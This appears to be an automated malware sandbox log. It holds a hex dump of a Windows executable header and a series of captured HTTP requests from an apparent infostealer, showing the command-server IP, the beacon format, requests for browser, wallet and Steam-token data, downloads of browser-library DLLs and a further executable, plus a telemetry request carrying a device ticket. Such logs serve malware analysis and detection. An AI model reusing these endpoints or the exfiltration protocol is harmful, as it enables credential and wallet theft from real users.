00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 0f 64 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 78 6e 75 64 64 6a 67 00 00 2a 00 00 a0 00 00 00 e8 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 61 77 61 70 71 69 73 00 20 00 00 00 a0 2a 00 00 04 00 00 00 22 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 26 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 20 Nov 2024 07:11:00 GMTContent-Type: application/octet-streamContent-Length: 2770944Last-Modified: Wed, 20 Nov 2024 06:30:18 GMTConnection: keep-aliveETag: "673d81fa-2a4800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 0f 64 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6f 78 6e 75 64 64 6a 67 00 00 2a 00 00 a0 00 00 00 e8 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 61 77 61 70 71 69 73 00 20 00 00 00 a0 2a 00 00 04 00 00 00 22 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 26 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: /APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAENhIsZk1icdmK4NNtUk6KLPgAMvy17Udgd1MlHE7GXRAxu9wDd84HaOk1nGIMKru6radFnZDfu7zWhcmz9j72MdI/lM5JykN5JyMCsrKKjhnWsxMrSmUTHFAm4lCtsR/4kXJ5OVGBubVm1qKlLaqfTPe4/QIS6EsPZhp2A+GbXPmd9v7KWe0y9ZBVkGnVgT2XAL69MHD65Z2sZ/bvdyK2Z9GRgl5dhajOwb9unLzQz2LihgZzhVMiIEIlP0Ox0qtNEB072yB6rGFSpbQMfXp3Qm9wrLMHPG0cNIMKQ3+lgA3sY/VTGnPGJVnsHSsfW8D9dyBIAE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1732086824088Host: self.events.data.microsoft.comContent-Length: 7972Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIJEGIIJDGHDGCBGHCAAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 41 45 33 30 37 36 31 39 45 44 41 33 35 31 37 33 33 34 39 31 34 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 49 49 4a 44 47 48 44 47 43 42 47 48 43 41 41 2d 2d 0d 0a Data Ascii: ------HIJEGIIJDGHDGCBGHCAAContent-Disposition: form-data; name="hwid"DAE307619EDA3517334914------HIJEGIIJDGHDGCBGHCAAContent-Disposition: form-data; name="build"mars------HIJEGIIJDGHDGCBGHCAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIJEBAECGCBKECAAAEBHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 33 39 35 33 62 33 66 39 62 33 31 32 31 66 30 38 36 30 35 66 66 39 65 38 39 61 38 62 32 65 62 35 66 66 32 63 66 64 36 30 64 63 34 64 61 38 30 33 65 33 65 62 32 61 66 35 30 34 36 33 65 66 65 64 34 30 37 38 64 34 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 4a 45 42 41 45 43 47 43 42 4b 45 43 41 41 41 45 42 2d 2d 0d 0a Data Ascii: ------GIIJEBAECGCBKECAAAEBContent-Disposition: form-data; name="token"283953b3f9b3121f08605ff9e89a8b2eb5ff2cfd60dc4da803e3eb2af50463efed4078d4------GIIJEBAECGCBKECAAAEBContent-Disposition: form-data; name="message"browsers------GIIJEBAECGCBKECAAAEB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFCFHDHIIIECBGCAKFIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 33 39 35 33 62 33 66 39 62 33 31 32 31 66 30 38 36 30 35 66 66 39 65 38 39 61 38 62 32 65 62 35 66 66 32 63 66 64 36 30 64 63 34 64 61 38 30 33 65 33 65 62 32 61 66 35 30 34 36 33 65 66 65 64 34 30 37 38 64 34 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 2d 2d 0d 0a Data Ascii: ------BAFCFHDHIIIECBGCAKFIContent-Disposition: form-data; name="token"283953b3f9b3121f08605ff9e89a8b2eb5ff2cfd60dc4da803e3eb2af50463efed4078d4------BAFCFHDHIIIECBGCAKFIContent-Disposition: form-data; name="message"plugins------BAFCFHDHIIIECBGCAKFI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFIJEGIDBGIECAKKEGDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 49 4a 45 47 49 44 42 47 49 45 43 41 4b 4b 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 33 39 35 33 62 33 66 39 62 33 31 32 31 66 30 38 36 30 35 66 66 39 65 38 39 61 38 62 32 65 62 35 66 66 32 63 66 64 36 30 64 63 34 64 61 38 30 33 65 33 65 62 32 61 66 35 30 34 36 33 65 66 65 64 34 30 37 38 64 34 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 49 4a 45 47 49 44 42 47 49 45 43 41 4b 4b 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 49 4a 45 47 49 44 42 47 49 45 43 41 4b 4b 45 47 44 2d 2d 0d 0a Data Ascii: ------CBFIJEGIDBGIECAKKEGDContent-Disposition: form-data; name="token"283953b3f9b3121f08605ff9e89a8b2eb5ff2cfd60dc4da803e3eb2af50463efed4078d4------CBFIJEGIDBGIECAKKEGDContent-Disposition: form-data; name="message"fplugins------CBFIJEGIDBGIECAKKEGD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFIJJEGHDAEBGCAKJKFHost: 185.215.113.206Content-Length: 6399Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBGCGCGIEGCBFHIIEBFHost: 185.215.113.206Content-Length: 991Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECAEGHIJEHJDHIDHIDAEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 33 39 35 33 62 33 66 39 62 33 31 32 31 66 30 38 36 30 35 66 66 39 65 38 39 61 38 62 32 65 62 35 66 66 32 63 66 64 36 30 64 63 34 64 61 38 30 33 65 33 65 62 32 61 66 35 30 34 36 33 65 66 65 64 34 30 37 38 64 34 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 2d 2d 0d 0a Data Ascii: ------ECAEGHIJEHJDHIDHIDAEContent-Disposition: form-data; name="token"283953b3f9b3121f08605ff9e89a8b2eb5ff2cfd60dc4da803e3eb2af50463efed4078d4------ECAEGHIJEHJDHIDHIDAEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECAEGHIJEHJDHIDHIDAEContent-Disposition: form-data; name="file"------ECAEGHIJEHJDHIDHIDAE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEHDHIEGIIIDHIDHDHJHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAAFBKECAKEHIEBAFIEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 33 39 35 33 62 33 66 39 62 33 31 32 31 66 30 38 36 30 35 66 66 39 65 38 39 61 38 62 32 65 62 35 66 66 32 63 66 64 36 30 64 63 34 64 61 38 30 33 65 33 65 62 32 61 66 35 30 34 36 33 65 66 65 64 34 30 37 38 64 34 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 2d 2d 0d 0a Data Ascii: ------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="token"283953b3f9b3121f08605ff9e89a8b2eb5ff2cfd60dc4da803e3eb2af50463efed4078d4------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="file"------DAAAFBKECAKEHIEBAFIE--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFCFBKFCFBFIDGCGDHJHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAKJDAAFBKFHIEBFCFBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 33 39 35 33 62 33 66 39 62 33 31 32 31 66 30 38 36 30 35 66 66 39 65 38 39 61 38 62 32 65 62 35 66 66 32 63 66 64 36 30 64 63 34 64 61 38 30 33 65 33 65 62 32 61 66 35 30 34 36 33 65 66 65 64 34 30 37 38 64 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 2d 2d 0d 0a Data Ascii: ------JDAKJDAAFBKFHIEBFCFBContent-Disposition: form-data; name="token"283953b3f9b3121f08605ff9e89a8b2eb5ff2cfd60dc4da803e3eb2af50463efed4078d4------JDAKJDAAFBKFHIEBFCFBContent-Disposition: form-data; name="message"wallets------JDAKJDAAFBKFHIEBFCFB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIIJJJKEGIDGCBAFIJHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 33 39 35 33 62 33 66 39 62 33 31 32 31 66 30 38 36 30 35 66 66 39 65 38 39 61 38 62 32 65 62 35 66 66 32 63 66 64 36 30 64 63 34 64 61 38 30 33 65 33 65 62 32 61 66 35 30 34 36 33 65 66 65 64 34 30 37 38 64 34 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------IDHIIJJJKEGIDGCBAFIJContent-Disposition: form-data; name="token"283953b3f9b3121f08605ff9e89a8b2eb5ff2cfd60dc4da803e3eb2af50463efed4078d4------IDHIIJJJKEGIDGCBAFIJContent-Disposition: form-data; name="message"files------IDHIIJJJKEGIDGCBAFIJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHIEBKKFHIEGCAKECGHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 33 39 35 33 62 33 66 39 62 33 31 32 31 66 30 38 36 30 35 66 66 39 65 38 39 61 38 62 32 65 62 35 66 66 32 63 66 64 36 30 64 63 34 64 61 38 30 33 65 33 65 62 32 61 66 35 30 34 36 33 65 66 65 64 34 30 37 38 64 34 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 2d 2d 0d 0a Data Ascii: ------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="token"283953b3f9b3121f08605ff9e89a8b2eb5ff2cfd60dc4da803e3eb2af50463efed4078d4------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="file"------AFHIEBKKFHIEGCAKECGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KECFIDGCBFBAKEBFBKFBHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 46 49 44 47 43 42 46 42 41 4b 45 42 46 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 33 39 35 33 62 33 66 39 62 33 31 32 31 66 30 38 36 30 35 66 66 39 65 38 39 61 38 62 32 65 62 35 66 66 32 63 66 64 36 30 64 63 34 64 61 38 30 33 65 33 65 62 32 61 66 35 30 34 36 33 65 66 65 64 34 30 37 38 64 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 49 44 47 43 42 46 42 41 4b 45 42 46 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 49 44 47 43 42 46 42 41 4b 45 42 46 42 4b 46 42 2d 2d 0d 0a Data Ascii: ------KECFIDGCBFBAKEBFBKFBContent-Disposition: form-data; name="token"283953b3f9b3121f08605ff9e89a8b2eb5ff2cfd60dc4da803e3eb2af50463efed4078d4------KECFIDGCBFBAKEBFBKFBContent-Disposition: form-data; name="message"ybncbhylepme------KECFIDGCBFBAKEBFBKFB--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
